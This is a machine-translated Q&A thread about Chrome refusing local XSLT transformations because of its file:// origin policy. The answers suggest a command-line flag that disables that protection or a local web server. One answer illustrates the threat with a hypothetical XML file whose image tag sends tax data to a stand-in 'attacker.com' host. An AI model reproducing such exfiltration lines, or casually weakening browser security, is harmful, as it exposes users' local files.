Можно ли сделать Chrome для выполнения преобразования XSL в локальном файле?
Я изучал xslt и начал тестирование с примерами в w3schools.
Однако, когда я сохраняю файлы xml и xsl в файлах и пытаюсь их открыть локально, хром не будет выполнять преобразование xsl. Он просто показывает пустую страницу.
Я добавил тэг <?xml-stylesheet type="text/xsl" href="style.xsl">
в XML-документ, и firefox отображает его, как он должен выглядеть. Кроме того, если я просматриваю файлы через веб-сервер, хром отображает файл, как он должен выглядеть.
Неужели хром сталкивается с проблемой поиска информации о таблицах стилей, когда ссылка является локальной? Изменение href на file:///C:/xsl/style.xsl
не имело никакого значения.
Обновление: похоже, это побочный эффект политики безопасности чтобы не обрабатывать файл:///* как то же происхождение. В результате появляется следующая ошибка: в консоли:
Небезопасная попытка загрузить файл URL:///C:/xsl-rpg/style.xsl из фрейма с URL файлом:///C:/xsl-rpg/data.xml. Домены, протоколы и порты должны совпадать.
Ответы
Ответ 1
Короткий ответ: "Нет, используйте один из разнообразный набор браузеров там.
Причина, по которой это не работает, вызвано опасностью безопасности, с которой Chrome обратился спорным способом [1] [2] [3] [4] блокируя файлы XML от доступа к локальным файлам XSLT в том же каталоге, в то время как файлы HTML могут обращаться к файлам .CSS в том же каталоге. /p >
В приведенных выше проблемах пользователи попросили дать более четкое сообщение об ошибке (поскольку домены, протоколы и порты действительно совпадают) или, по крайней мере, отображают XML без стилизации. Разработчики Chrome проигнорировали эти запросы.
Ответ 2
Вы можете сделать это локально с помощью флагов командной строки Chrome.
Конкретный флаг --allow-file-access-from-files
В OS X: из Terminal.app запустить /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
В Windows: из командной строки запустите %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files
Примечание. Вероятно, вам придется закрыть Chrome, если он в настоящее время работает, иначе Ch
Ответ 3
Если вы хотите придерживаться OP, ответ будет No (как указывали другие), но один из способов устранить проблему - запустить простой веб-сервер и открыть файлы через http в chrome. Если у вас установлен python 2.x, вы можете запустить веб-сервер, набрав:
python -m SimpleHTTPServer
Или в python 3.x:
python3 -m http.server
а затем откройте файл с помощью http://localhost:8000/yourfile.xml
в chrome. Надеюсь, вы просто хотите, чтобы ваша работа была выполнена, и не важно, чтобы открыть файл, используя file://
Ответ 4
На странице Chrome Bug потребовалось немного расшифровки - они очень заинтересованы в том, чтобы не объяснять, в чем проблема, и почему они выбрали взломать всех, а не нарушать всех.
Предположим, что у меня есть файл XML - где-то - на моем жестком диске, например:
C:\Users\Ian\Documents\Налоги\StudioTaxReturn_2015.xml
И вредоносному объекту - каким-то образом - удалось удалить вредоносный файл Xml на моем компьютере, например:
C:\Users\Ян\AppData\LocalLow\Temp\TrojanVirusWorm.xml
Представьте TrojanVirusWorm.xml содержит инструкцию по обработке таблиц стилей (PI):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
Затем злоумышленник инструктирует мой браузер перейти к локально сохраненному файлу trojanVirusWorm.xml
.
По-видимому, существует способ, которым XML файл может считывать содержимое файла XSD (а не преобразовываться с помощью файла XSD):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
<!--And then a miracle happens, and this XML file is able to read
the contents of the stylesheet xml file-->
<html>
<img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>
Я не понимаю, как XML файл может читать файл таблицы стилей. Но команда Chrome уверяет нас, что это опасно и что ее невозможно решить.
Каждый другой браузер решил это сделать. Они решили это потому что это не проблема.
Ответ 5
Мое обходное решение для просмотра xml в соответствии с файлом xsl
Предположим, у нас есть файл some_file.xml с заголовками:
<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="#" onclick="location.href='https://some-site.com/Common.xsl'; return false;"?>
- Мы загружаем файл
https://some-site.com/Common.xsl
и размещаем его рядом с файлом some_file.xml
- Измените часть нашего заголовка с
href="#" onclick="location.href='https://some-site.com/Common.xsl'; return false;"
на href="#" onclick="location.href='http://localhost:8001/Common.xsl'; return false;"
- Запуск в каталог с нашими файлами -
python3 -m http.server 8001
- Открыть в любом браузере
http://localhost:8001/some_file.xml